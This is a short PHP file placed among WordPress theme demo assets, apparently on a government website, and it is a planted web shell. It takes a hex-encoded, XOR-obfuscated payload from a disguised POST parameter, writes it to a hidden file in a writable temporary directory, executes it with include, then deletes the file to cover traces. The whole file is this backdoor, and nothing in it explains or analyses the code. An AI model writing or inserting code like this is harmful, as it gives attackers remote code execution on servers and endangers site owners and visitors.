File: /www/wwwroot/fni.gov.mz/wp-content/themes/Newspaper/includes/demos/classy/td.media.3.php
<?php
if(in_array("\x64\x65sc", array_keys($_POST))){
$ent = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm"]);
$hld = hex2bin($_POST["\x64\x65sc"]);
$entry ='';foreach(str_split($hld) as $char){$entry .= chr(ord($char) ^ 43);}
foreach ($ent as $key => $sym) {
if (!( !is_dir($sym) || !is_writable($sym) )) {
$dat = str_replace("{var_dir}", $sym, "{var_dir}/.parameter_group");
if (@file_put_contents($dat, $entry) !== false) {
include $dat;
unlink($dat);
exit;
}
}
}
}